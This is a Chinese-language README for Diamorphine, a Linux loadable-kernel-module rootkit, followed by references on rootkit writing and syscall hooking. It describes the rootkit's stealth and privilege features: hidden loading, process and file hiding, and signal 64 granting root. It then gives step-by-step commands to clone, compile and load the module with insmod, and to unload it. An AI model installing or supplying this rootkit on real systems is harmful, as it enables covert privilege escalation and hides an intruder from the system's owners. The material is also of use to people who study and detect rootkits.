Diamorphine 是一款针对 Linux 内核 2.6.x/3.x/4.x/5.x/6.x(x86/x86_64 及 ARM64)的 LKM rootkit。
加载后,模块以隐藏状态启动;
发送信号 31 可隐藏/显示任意进程;
发送信号 63(任意 PID)可使模块(不)可见;
发送信号 64(任意 PID)可使指定用户成为 root;
以 MAGIC_PREFIX 开头的文件或目录将变得不可见;
确认内核版本为 2.6.x/3.x/4.x/5.x/6.x
uname -r
克隆仓库
git clone https://github.com/m0nad/Diamorphine
进入目录
cd Diamorphine
编译
make
加载模块(以 root 身份)
insmod diamorphine.ko
模块默认隐藏,需先使其可见才能移除
kill -63 0
然后移除模块(以 root 身份)
rmmod diamorphine
Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers http://lwn.net/Kernel/LDD3/
LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html
Memset's blog http://memset.wordpress.com/
Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html
WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference http://lxr.free-electrons.com/
zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/
Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/
FlipSwitch: a Novel Syscall Hooking Technique https://www.elastic.co/security-labs/flipswitch-linux-rootkit